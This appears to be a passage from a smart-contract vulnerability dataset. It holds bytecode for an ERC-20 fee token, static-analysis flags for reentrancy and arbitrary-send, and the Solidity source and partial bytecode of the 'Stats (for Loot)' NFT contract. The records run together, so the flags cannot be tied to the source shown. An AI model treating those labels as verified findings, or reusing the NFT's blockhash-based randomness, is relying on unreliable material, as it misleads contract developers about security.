38a600854600b54612b6d565b925092509250600061299361264a565b905060008060006129a68e878787612c03565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a1083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061205d565b905092915050565b6000808284612a279190613948565b905083811015612a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a6390613d14565b60405180910390fd5b8091505092915050565b6000612a8061264a565b90506000612a9782846122df90919063ffffffff16565b9050612aeb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b48826006546129ce90919063ffffffff16565b600681905550612b6381600754612a1890919063ffffffff16565b6007819055505050565b600080600080612b996064612b8b888a6122df90919063ffffffff16565b61235a90919063ffffffff16565b90506000612bc36064612bb5888b6122df90919063ffffffff16565b61235a90919063ffffffff16565b90506000612bec82612bde858c6129ce90919063ffffffff16565b6129ce90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c1c85896122df90919063ffffffff16565b90506000612c3386896122df90919063ffffffff16565b90506000612c4a87896122df90919063ffffffff16565b90506000612c7382612c6585876129ce90919063ffffffff16565b6129ce90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612cc6578082015181840152602081019050612cab565b83811115612cd5576000848401525b50505050565b6000601f19601f8301169050919050565b6000612cf782612c8c565b612d018185612c97565b9350612d11818560208601612ca8565b612d1a81612cdb565b840191505092915050565b60006020820190508181036000830152612d3f8184612cec565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d8682612d5b565b9050919050565b612d9681612d7b565b8114612da157600080fd5b50565b600081359050612db381612d8d565b92915050565b6000819050919050565b612dcc81612db9565b8114612dd757600080fd5b50565b600081359050612de981612dc3565b92915050565b60008060408385031215612e0657612e05612d51565b5b6000612e1485828601612da4565b9250506020612e2585828601612dda565b9150509250929050565b60008115159050919050565b612e4481612e2f565b82525050565b6000602082019050612e5f6000830184612e3b565b92915050565b612e6e81612db9565b82525050565b6000602082019050612e896000830184612e65565b92915050565b600080600060608486031215612ea857612ea7612d51565b5b6000612eb686828701612da4565b9350506020612ec786828701612da4565b9250506040612ed886828701612dda565b9150509250925092565b600060208284031215612ef857612ef7612d51565b5b6000612f0684828501612da4565b91505092915050565b600060208284031215612f2557612f24612d51565b5b6000612f3384828501612dda565b91505092915050565b600060ff82169050919050565b612f5281612f3c565b82525050565b6000602082019050612f6d6000830184612f49565b92915050565b612f7c81612e2f565b8114612f8757600080fd5b50565b600081359050612f9981612f73565b92915050565b600060208284031215612fb557612fb4612d51565b5b6000612fc384828501612f8a565b91505092915050565b612fd581612d7b565b82525050565b6000602082019050612ff06000830184612fcc565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61303382612cdb565b810181811067ffffffffffffffff8211171561305257613051612ffb565b5b80604052505050565b6000613065612d47565b9050613071828261302a565b919050565b600067ffffffffffffffff82111561309157613090612ffb565b5b602082029050602081019050919050565b600080fd5b60006130ba6130b584613076565b61305b565b905080838252602082019050602084028301858111156130dd576130dc6130a2565b5b835b8181101561310657806130f28882612da4565b8452602084019350506020810190506130df565b5050509392505050565b600082601f83011261312557613124612ff6565b5b81356131358482602086016130a7565b91505092915050565b60006020828403121561315457613153612d51565b5b600082013567ffffffffffffffff81111561317257613171612d56565b5b61317e84828501613110565b91505092915050565b6000806040838503121561319e5761319d612d51565b5b60006131ac85828601612da4565b92505060206131bd85828601612da4565b9150509250929050565b7f7465616d4665652073686f756c6420626520696e2031202d2032350000000000600082015250565b60006131fd601b83612c97565b9150613208826131c7565b602082019050919050565b6000602082019050818103600083015261322c816131f0565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613269602083612c97565b915061327482613233565b602082019050919050565b600060208201905081810360008301526132988161325c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061330882612db9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561333b5761333a6132ce565b5b600182019050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b600061337c601d83612c97565b915061338782613346565b602082019050919050565b600060208201905081810360008301526133ab8161336f565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006133e8601783612c97565b91506133f3826133b2565b602082019050919050565b60006020820190508181036000830152613417816133db565b9050919050565b60008151905061342d81612d8d565b92915050565b60006020828403121561344957613448612d51565b5b60006134578482850161341e565b91505092915050565b60006040820190506134756000830185612fcc565b6134826020830184612fcc565b9392505050565b6000819050919050565b6000819050919050565b60006134b86134b36134ae84613489565b613493565b612db9565b9050919050565b6134c88161349d565b82525050565b600060c0820190506134e36000830189612fcc565b6134f06020830188612e65565b6134fd60408301876134bf565b61350a60608301866134bf565b6135176080830185612fcc565b61352460a0830184612e65565b979650505050505050565b60008151905061353e81612dc3565b92915050565b60008060006060848603121561355d5761355c612d51565b5b600061356b8682870161352f565b935050602061357c8682870161352f565b925050604061358d8682870161352f565b9150509250925092565b60006040820190506135ac6000830185612fcc565b6135b96020830184612e65565b9392505050565b6000815190506135cf81612f73565b92915050565b6000602082840312156135eb576135ea612d51565b5b60006135f9848285016135c0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061365e602483612c97565b915061366982613602565b604082019050919050565b6000602082019050818103600083015261368d81613651565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006136f0602283612c97565b91506136fb82613694565b604082019050919050565b6000602082019050818103600083015261371f816136e3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613782602583612c97565b915061378d82613726565b604082019050919050565b600060208201905081810360008301526137b181613775565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613814602383612c97565b915061381f826137b8565b604082019050919050565b6000602082019050818103600083015261384381613807565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006138a6602983612c97565b91506138b18261384a565b604082019050919050565b600060208201905081810360008301526138d581613899565b9050919050565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6000613912601183612c97565b915061391d826138dc565b602082019050919050565b6000602082019050818103600083015261394181613905565b9050919050565b600061395382612db9565b915061395e83612db9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613993576139926132ce565b5b828201905092915050565b60006139a982612db9565b91506139b483612db9565b9250828210156139c7576139c66132ce565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613a2e602a83612c97565b9150613a39826139d2565b604082019050919050565b60006020820190508181036000830152613a5d81613a21565b9050919050565b6000613a6f82612db9565b9150613a7a83612db9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ab357613ab26132ce565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613af882612db9565b9150613b0383612db9565b925082613b1357613b12613abe565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613b7a602183612c97565b9150613b8582613b1e565b604082019050919050565b60006020820190508181036000830152613ba981613b6d565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613be581612d7b565b82525050565b6000613bf78383613bdc565b60208301905092915050565b6000602082019050919050565b6000613c1b82613bb0565b613c258185613bbb565b9350613c3083613bcc565b8060005b83811015613c61578151613c488882613beb565b9750613c5383613c03565b925050600181019050613c34565b5085935050505092915050565b600060a082019050613c836000830188612e65565b613c9060208301876134bf565b8181036040830152613ca28186613c10565b9050613cb16060830185612fcc565b613cbe6080830184612e65565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613cfe601b83612c97565b9150613d0982613cc8565b602082019050919050565b60006020820190508181036000830152613d2d81613cf1565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220495ac4bc30723934e8f72bd0c2eed2b1686a39fa1d907234aa64092e473c6fd264736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
512
0x81b0f9d4c51a51e4b3a167e0b42243a9a4d5cbfc
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; /* ___ ____ __ ____ ___ / __)(_ _)( )(_ _)/ __) \__ \ )( /__\ )( \__ \ (___/ (__)(_)(_)(__) (___/ Stats (for Loot) 100% on-chain and easily extendable character statistics, made for the Loot metaverse. Created by sol_dev */ interface Receiver { function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4); } contract StatsForLoot { uint256 constant public MAX_SUPPLY = 8000; uint256 constant public MINT_COST = 0.02 ether; struct User { uint256 balance; mapping(uint256 => uint256) list; mapping(address => bool) approved; mapping(uint256 => uint256) indexOf; } struct Token { address owner; address approved; bytes32 seed; } struct Info { uint256 totalSupply; mapping(uint256 => Token) list; mapping(address => User) users; address owner; } Info private info; string constant private TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; string[] private stats = ["Strength", "Dexterity", "Constitution", "Wisdom", "Intelligence", "Charisma"]; string[] private shortStats = ["STR", "DEX", "CON", "WIS", "INT", "CHA"]; mapping(bytes4 => bool) public supportsInterface; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); event Mint(address indexed owner, uint256 indexed tokenId, bytes32 seed); modifier _onlyOwner() { require(msg.sender == owner()); _; } constructor() { info.owner = msg.sender; supportsInterface[0x01ffc9a7] = true; // ERC-165 supportsInterface[0x80ac58cd] = true; // ERC-721 supportsInterface[0x5b5e139f] = true; // Metadata supportsInterface[0x780e9d63] = true; // Enumerable for (uint256 i = 0; i < 10; i++) { _mint(); } } function setOwner(address _owner) external _onlyOwner { info.owner = _owner; } function ownerWithdraw() external _onlyOwner { uint256 _balance = address(this).balance; require(_balance > 0); payable(msg.sender).transfer(_balance); } receive() external payable { mintMany(msg.value / MINT_COST); } function mint() external payable { mintMany(1); } function mintMany(uint256 _tokens) public payable { require(_tokens > 0); uint256 _cost = _tokens * MINT_COST; require(msg.value >= _cost); for (uint256 i = 0; i < _tokens; i++) { _mint(); } if (msg.value > _cost) { payable(msg.sender).transfer(msg.value - _cost); } } function approve(address _approved, uint256 _tokenId) external { require(msg.sender == ownerOf(_tokenId)); info.list[_tokenId].approved = _approved; emit Approval(msg.sender, _approved, _tokenId); } function setApprovalForAll(address _operator, bool _approved) external { info.users[msg.sender].approved[_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } function transferFrom(address _from, address _to, uint256 _tokenId) external { _transfer(_from, _to, _tokenId); } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { safeTransferFrom(_from, _to, _tokenId, ""); } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public { _transfer(_from, _to, _tokenId); uint32 _size; assembly { _size := extcodesize(_to) } if (_size > 0) { require(Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) == 0x150b7a02); } } function name() external pure returns (string memory) { return "Stats (for Loot)"; } function symbol() external pure returns (string memory) { return "STAT"; } function tokenURI(uint256 _tokenId) external view returns (string memory out) { out = "data:application/json;base64,"; string memory _json = string(abi.encodePacked('{"name":"STAT #', _uint2str(_tokenId), '","description":"100% on-chain and easily extendable character statistics, made for the Loot metaverse.",')); _json = string(abi.encodePacked(_json, '"image":"data:image/svg+xml;base64,', _encode(bytes(getSVG(_tokenId))), '","attributes":[')); uint256[8] memory _settings = getSettingsCompressed(getSeed(_tokenId)); for (uint256 i = 0; i < stats.length; i++) { _json = string(abi.encodePacked(_json, '{"trait_type":"', stats[i], '","value":', _uint2str(_settings[i]), '},')); } _json = string(abi.encodePacked(_json, '{"trait_type":"Modifier","value":"', stats[_settings[6]], '"},')); _json = string(abi.encodePacked(_json, '{"trait_type":"Modifier Value","value":', _uint2str(_settings[7]), '}]}')); out = string(abi.encodePacked(out, _encode(bytes(_json)))); } function owner() public view returns (address) { return info.owner; } function totalSupply() public view returns (uint256) { return info.totalSupply; } function balanceOf(address _owner) public view returns (uint256) { return info.users[_owner].balance; } function ownerOf(uint256 _tokenId) public view returns (address) { require(_tokenId < totalSupply()); return info.list[_tokenId].owner; } function getApproved(uint256 _tokenId) public view returns (address) { require(_tokenId < totalSupply()); return info.list[_tokenId].approved; } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return info.users[_owner].approved[_operator]; } function getSeed(uint256 _tokenId) public view returns (bytes32) { require(_tokenId < totalSupply()); return info.list[_tokenId].seed; } function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return _index; } function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) { require(_index < balanceOf(_owner)); return info.users[_owner].list[_index]; } function getSVG(uint256 _tokenId) public view returns (string memory svg) { uint256[8] memory _settings = getSettingsCompressed(getSeed(_tokenId)); uint256 _modifierIndex = _settings[6]; uint256 _modifierAmount = _settings[7]; svg = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>text { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" />'; for (uint256 i = 0; i < stats.length; i++) { svg = string(abi.encodePacked(svg, '<text x="10" y="', _uint2str(20 * (i + 1)), '">', stats[i], ': ', _uint2str(_settings[i]))); if (i == _modifierIndex) { svg = string(abi.encodePacked(svg, " (+", _uint2str(_modifierAmount), ")")); } svg = string(abi.encodePacked(svg, "</text>")); } svg = string(abi.encodePacked(svg, '<text x="10" y="150">Modifier: ', shortStats[_modifierIndex], " +", _uint2str(_modifierAmount), "</text></svg>")); } function getTokenSettings(uint256 _tokenId) public view returns (uint256 strength, uint256 dexterity, uint256 constitution, uint256 wisdom, uint256 intelligence, uint256 charisma, uint256 modifierIndex, uint256 modifierAmount) { (strength, dexterity, constitution, wisdom, intelligence, charisma, modifierIndex, modifierAmount) = getSettings(getSeed(_tokenId)); } function getSettings(bytes32 _seed) public pure returns (uint256 strength, uint256 dexterity, uint256 constitution, uint256 wisdom, uint256 intelligence, uint256 charisma, uint256 modifierIndex, uint256 modifierAmount) { bytes32 _rand = keccak256(abi.encodePacked("Stats:", _seed)); (_rand, strength) = _rollDice(_rand); (_rand, dexterity) = _rollDice(_rand); (_rand, constitution) = _rollDice(_rand); (_rand, wisdom) = _rollDice(_rand); (_rand, intelligence) = _rollDice(_rand); (_rand, charisma) = _rollDice(_rand); _rand = keccak256(abi.encodePacked(_rand)); modifierIndex = uint256(_rand) % 6; _rand = keccak256(abi.encodePacked(_rand)); modifierAmount = 10 - _sqrt(uint256(_rand) % 100); } function getSettingsCompressed(bytes32 _seed) public pure returns (uint256[8] memory data) { (data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7]) = getSettings(_seed); } function getStrength(uint256 _tokenId) external view returns (uint256 strength) { (strength, , , , , , , ) = getTokenSettings(_tokenId); } function getDexterity(uint256 _tokenId) external view returns (uint256 dexterity) { ( , dexterity, , , , , , ) = getTokenSettings(_tokenId); } function getConstitution(uint256 _tokenId) external view returns (uint256 constitution) { ( , , constitution, , , , , ) = getTokenSettings(_tokenId); } function getWisdom(uint256 _tokenId) external view returns (uint256 wisdom) { ( , , , wisdom, , , , ) = getTokenSettings(_tokenId); } function getIntelligence(uint256 _tokenId) external view returns (uint256 intelligence) { ( , , , , intelligence, , , ) = getTokenSettings(_tokenId); } function getCharisma(uint256 _tokenId) external view returns (uint256 charisma) { ( , , , , , charisma, , ) = getTokenSettings(_tokenId); } function getModifier(uint256 _tokenId) external view returns (uint256 modifierIndex, uint256 modifierAmount) { ( , , , , , , modifierIndex, modifierAmount) = getTokenSettings(_tokenId); } function getStat(uint256 _tokenId) public view returns (address tokenOwner, address approved, bytes32 seed, uint256[8] memory data) { return (ownerOf(_tokenId), getApproved(_tokenId), getSeed(_tokenId), getSettingsCompressed(getSeed(_tokenId))); } function getStats(uint256[] memory _tokenIds) public view returns (address[] memory owners, address[] memory approveds, bytes32[] memory seeds, uint256[8][] memory datas) { uint256 _length = _tokenIds.length; owners = new address[](_length); approveds = new address[](_length); seeds = new bytes32[](_length); datas = new uint256[8][](_length); for (uint256 i = 0; i < _length; i++) { (owners[i], approveds[i], seeds[i], datas[i]) = getStat(_tokenIds[i]); } } function getStatsTable(uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory owners, address[] memory approveds, bytes32[] memory seeds, uint256[8][] memory datas, uint256 totalStats, uint256 totalPages) { require(_limit > 0); totalStats = totalSupply(); if (totalStats > 0) { totalPages = (totalStats / _limit) + (totalStats % _limit == 0 ? 0 : 1); require(_page < totalPages); uint256 _offset = _limit * _page; if (_page == totalPages - 1 && totalStats % _limit != 0) { _limit = totalStats % _limit; } tokenIds = new uint256[](_limit); for (uint256 i = 0; i < _limit; i++) { tokenIds[i] = tokenByIndex(_isAsc ? _offset + i : totalStats - _offset - i - 1); } } else { totalPages = 0; tokenIds = new uint256[](0); } (owners, approveds, seeds, datas) = getStats(tokenIds); } function getOwnerStatsTable(address _owner, uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory approveds, bytes32[] memory seeds, uint256[8][] memory datas, uint256 totalStats, uint256 totalPages) { require(_limit > 0); totalStats = balanceOf(_owner); if (totalStats > 0) { totalPages = (totalStats / _limit) + (totalStats % _limit == 0 ? 0 : 1); require(_page < totalPages); uint256 _offset = _limit * _page; if (_page == totalPages - 1 && totalStats % _limit != 0) { _limit = totalStats % _limit; } tokenIds = new uint256[](_limit); for (uint256 i = 0; i < _limit; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, _isAsc ? _offset + i : totalStats - _offset - i - 1); } } else { totalPages = 0; tokenIds = new uint256[](0); } ( , approveds, seeds, datas) = getStats(tokenIds); } function allInfoFor(address _owner) external view returns (uint256 supply, uint256 ownerBalance) { return (totalSupply(), balanceOf(_owner)); } function _mint() internal { require(msg.sender == tx.origin); require(totalSupply() < MAX_SUPPLY); uint256 _tokenId = info.totalSupply++; Token storage _newToken = info.list[_tokenId]; _newToken.owner = msg.sender; bytes32 _seed = keccak256(abi.encodePacked(_tokenId, msg.sender, blockhash(block.number - 1), gasleft())); _newToken.seed = _seed; uint256 _index = info.users[msg.sender].balance++; info.users[msg.sender].indexOf[_tokenId] = _index + 1; info.users[msg.sender].list[_index] = _tokenId; emit Transfer(address(0x0), msg.sender, _tokenId); emit Mint(msg.sender, _tokenId, _seed); } function _transfer(address _from, address _to, uint256 _tokenId) internal { address _owner = ownerOf(_tokenId); address _approved = getApproved(_tokenId); require(_from == _owner); require(msg.sender == _owner || msg.sender == _approved || isApprovedForAll(_owner, msg.sender)); info.list[_tokenId].owner = _to; if (_approved != address(0x0)) { info.list[_tokenId].approved = address(0x0); emit Approval(address(0x0), address(0x0), _tokenId); } uint256 _index = info.users[_from].indexOf[_tokenId] - 1; uint256 _moved = info.users[_from].list[info.users[_from].balance - 1]; info.users[_from].list[_index] = _moved; info.users[_from].indexOf[_moved] = _index + 1; info.users[_from].balance--; delete info.users[_from].indexOf[_tokenId]; uint256 _newIndex = info.users[_to].balance++; info.users[_to].indexOf[_tokenId] = _newIndex + 1; info.users[_to].list[_newIndex] = _tokenId; emit Transfer(_from, _to, _tokenId); } function _uint2str(uint256 _value) internal pure returns (string memory) { uint256 _digits = 1; uint256 _n = _value; while (_n > 9) { _n /= 10; _digits++; } bytes memory _out = new bytes(_digits); for (uint256 i = 0; i < _out.length; i++) { uint256 _dec = (_value / (10**(_out.length - i - 1))) % 10; _out[i] = bytes1(uint8(_dec) + 48); } return string(_out); } function _sqrt(uint256 _n) internal pure returns (uint256 result) { uint256 _tmp = (_n + 1) / 2; result = _n; while (_tmp < result) { result = _tmp; _tmp = (_n / _tmp + _tmp) / 2; } } function _rollDice(bytes32 _rand) internal pure returns (bytes32 rand, uint256 result) { result = 0; rand = _rand; for (uint256 i = 0; i < 3; i++) { rand = keccak256(abi.encodePacked(rand)); result += uint256(rand) % 6 + 1; } } function _encode(bytes memory _data) internal pure returns (string memory) { if (_data.length == 0) return ''; string memory table = TABLE; uint256 encodedLen = 4 * ((_data.length + 2) / 3); string memory result = new string(encodedLen + 32); assembly { mstore(result, encodedLen) let tablePtr := add(table, 1) let dataPtr := _data let endPtr := add(dataPtr, mload(_data)) let resultPtr := add(result, 32) for {} lt(dataPtr, endPtr) {} { dataPtr := add(dataPtr, 3) let input := mload(dataPtr) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F))))) resultPtr := add(resultPtr, 1) } switch mod(mload(_data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } }
0x60806040526004361061023f5760003560e01c80636352211e1161012e578063c662e481116100ab578063e0d4ea371161006f578063e0d4ea37146107a1578063e15f2255146107c1578063e53fbda6146107e1578063e985e9c514610801578063f3a4aba91461084b57600080fd5b8063c662e481146106f3578063c87b56dd1461070e578063d93d4dc61461072e578063dcaef74d1461074e578063dce2dd171461078157600080fd5b8063a22cb465116100f2578063a22cb46514610618578063a71f0d2d14610638578063b88d4fde14610693578063baa5b27f146106b3578063be985ac9146106d357600080fd5b80636352211e1461054757806370a08231146105675780638da5cb5b1461059d57806395d89b41146105bb578063961c01db146105e857600080fd5b80632df78d31116101bc5780634311de8f116101805780634311de8f1461047e57806343bd2fa9146104935780634f6ccce7146104c557806351b92938146104e557806357f6b8121461051257600080fd5b80632df78d31146103e85780632f745c591461040857806330799dc61461042857806332cb6b0c1461044857806342842e0e1461045e57600080fd5b80631249c58b116102035780631249c58b1461035157806313af403514610359578063176094591461037957806318160ddd146103a957806323b872dd146103c857600080fd5b806301ffc9a714610264578063059513a6146102a957806306fdde03146102b7578063081812fc146102f9578063095ea7b31461033157600080fd5b3661025f5761025d61025866470de4df82000034612aa8565b61086b565b005b600080fd5b34801561027057600080fd5b5061029461027f366004612216565b60066020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61025d6102583660046121fd565b3480156102c357600080fd5b5060408051808201909152601081526f53746174732028666f72204c6f6f742960801b60208201525b6040516102a09190612a27565b34801561030557600080fd5b506103196103143660046121fd565b610904565b6040516001600160a01b0390911681526020016102a0565b34801561033d57600080fd5b5061025d61034c3660046120e0565b610933565b61025d6109b7565b34801561036557600080fd5b5061025d610374366004611f65565b6109c3565b34801561038557600080fd5b506103996103943660046121fd565b6109fc565b6040516102a09493929190612872565b3480156103b557600080fd5b506000545b6040519081526020016102a0565b3480156103d457600080fd5b5061025d6103e3366004611fba565b610a3f565b3480156103f457600080fd5b506103ba6104033660046121fd565b610a4a565b34801561041457600080fd5b506103ba6104233660046120e0565b610a63565b34801561043457600080fd5b506103ba6104433660046121fd565b610ab6565b34801561045457600080fd5b506103ba611f4081565b34801561046a57600080fd5b5061025d610479366004611fba565b610acf565b34801561048a57600080fd5b5061025d610aea565b34801561049f57600080fd5b506104b36104ae36600461210a565b610b39565b6040516102a0969594939291906129c4565b3480156104d157600080fd5b506103ba6104e03660046121fd565b610cdb565b3480156104f157600080fd5b506105056105003660046121fd565b610cee565b6040516102a0919061293d565b34801561051e57600080fd5b5061053261052d366004611f65565b610d29565b604080519283526020830191909152016102a0565b34801561055357600080fd5b506103196105623660046121fd565b610d57565b34801561057357600080fd5b506103ba610582366004611f65565b6001600160a01b031660009081526002602052604090205490565b3480156105a957600080fd5b506003546001600160a01b0316610319565b3480156105c757600080fd5b5060408051808201909152600481526314d5105560e21b60208201526102ec565b3480156105f457600080fd5b50610608610603366004612150565b610d82565b6040516102a094939291906128e5565b34801561062457600080fd5b5061025d6106333660046120b6565b610f7b565b34801561064457600080fd5b506106586106533660046121fd565b610fe8565b604080519889526020890197909752958701949094526060860192909252608085015260a084015260c083015260e0820152610100016102a0565b34801561069f57600080fd5b5061025d6106ae366004611ff6565b61102b565b3480156106bf57600080fd5b506103ba6106ce3660046121fd565b6110eb565b3480156106df57600080fd5b506102ec6106ee3660046121fd565b611104565b3480156106ff57600080fd5b506103ba66470de4df82000081565b34801561071a57600080fd5b506102ec6107293660046121fd565b61128a565b34801561073a57600080fd5b506105326107493660046121fd565b61144e565b34801561075a57600080fd5b5061076e610769366004612250565b61146a565b6040516102a0979695949392919061294c565b34801561078d57600080fd5b5061065861079c3660046121fd565b6115f6565b3480156107ad57600080fd5b506103ba6107bc3660046121fd565b61171e565b3480156107cd57600080fd5b506103ba6107dc3660046121fd565b611743565b3480156107ed57600080fd5b506103ba6107fc3660046121fd565b61175c565b34801561080d57600080fd5b5061029461081c366004611f87565b6001600160a01b0391821660009081526002602081815260408084209490951683529201909152205460ff1690565b34801561085757600080fd5b506103ba6108663660046121fd565b611775565b6000811161087857600080fd5b600061088b66470de4df82000083612ba7565b90508034101561089a57600080fd5b60005b828110156108bf576108ad61178e565b806108b781612c20565b91505061089d565b508034111561090057336108fc6108d68334612bc6565b6040518115909202916000818181858888f193505050501580156108fe573d6000803e3d6000fd5b505b5050565b60008054821061091357600080fd5b50600090815260016020819052604090912001546001600160a01b031690565b61093c81610d57565b6001600160a01b0316336001600160a01b03161461095957600080fd5b600081815260016020819052604080832090910180546001600160a01b0319166001600160a01b0386169081179091559051839233917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259190a45050565b6109c1600161086b565b565b6003546001600160a01b031633146109da57600080fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000806000610a09611f1a565b610a1285610d57565b610a1b86610904565b610a248761171e565b610a306105008961171e565b93509350935093509193509193565b6108fe838383611916565b6000610a5582610fe8565b509098975050505050505050565b6001600160a01b0382166000908152600260205260408120548210610a8757600080fd5b506001600160a01b03821660009081526002602090815260408083208484526001019091529020545b92915050565b6000610ac182610fe8565b509298975050505050505050565b6108fe8383836040518060200160405280600081525061102b565b6003546001600160a01b03163314610b0157600080fd5b4780610b0c57600080fd5b604051339082156108fc029083906000818181858888f19350505050158015610900573d6000803e3d6000fd5b60608060608060008060008911610b4f57600080fd5b6001600160a01b038a1660009081526002602052604090205491508115610ca957610b7a8983612c3b565b15610b86576001610b89565b60005b60ff16610b968a84612aa8565b610ba09190612a6b565b9050808810610bae57600080fd5b6000610bba898b612ba7565b9050610bc7600183612bc6565b89148015610bdd5750610bda8a84612c3b565b15155b15610bef57610bec8a84612c3b565b99505b8967ffffffffffffffff811115610c0857610c08612c91565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50965060005b8a811015610ca257610c738c8a610c6957600183610c558689612bc6565b610c5f9190612bc6565b6104239190612bc6565b6104238385612a6b565b888281518110610c8557610c85612c7b565b602090810291909101015280610c9a81612c20565b915050610c37565b5050610cbd565b506040805160008082526020820190925295505b610cc686610d82565b989d919c509a50969850919650949350505050565b600080548210610cea57600080fd5b5090565b610cf6611f1a565b610cff826115f6565b60e089015260c088015260a087015260808601526060850152604084015260208301528152919050565b600080610d3560005490565b6001600160a01b03841660009081526002602052604090205491509150915091565b600080548210610d6657600080fd5b506000908152600160205260409020546001600160a01b031690565b6060806060806000855190508067ffffffffffffffff811115610da757610da7612c91565b604051908082528060200260200182016040528015610dd0578160200160208202803683370190505b5094508067ffffffffffffffff811115610dec57610dec612c91565b604051908082528060200260200182016040528015610e15578160200160208202803683370190505b5093508067ffffffffffffffff811115610e3157610e31612c91565b604051908082528060200260200182016040528015610e5a578160200160208202803683370190505b5092508067ffffffffffffffff811115610e7657610e76612c91565b604051908082528060200260200182016040528015610eaf57816020015b610e9c611f1a565b815260200190600190039081610e945790505b50915060005b81811015610f7257610edf878281518110610ed257610ed2612c7b565b60200260200101516109fc565b898581518110610ef157610ef1612c7b565b60200260200101898681518110610f0a57610f0a612c7b565b60200260200101898781518110610f2357610f23612c7b565b60200260200101898881518110610f3c57610f3c612c7b565b6020908102919091010193909352929091526001600160a01b039283169091529116905280610f6a81612c20565b915050610eb5565b50509193509193565b3360008181526002602081815260408084206001600160a01b0388168086529301825292839020805460ff191686151590811790915592519283529092917f17307eab39ab6107e8899845ad3d59bd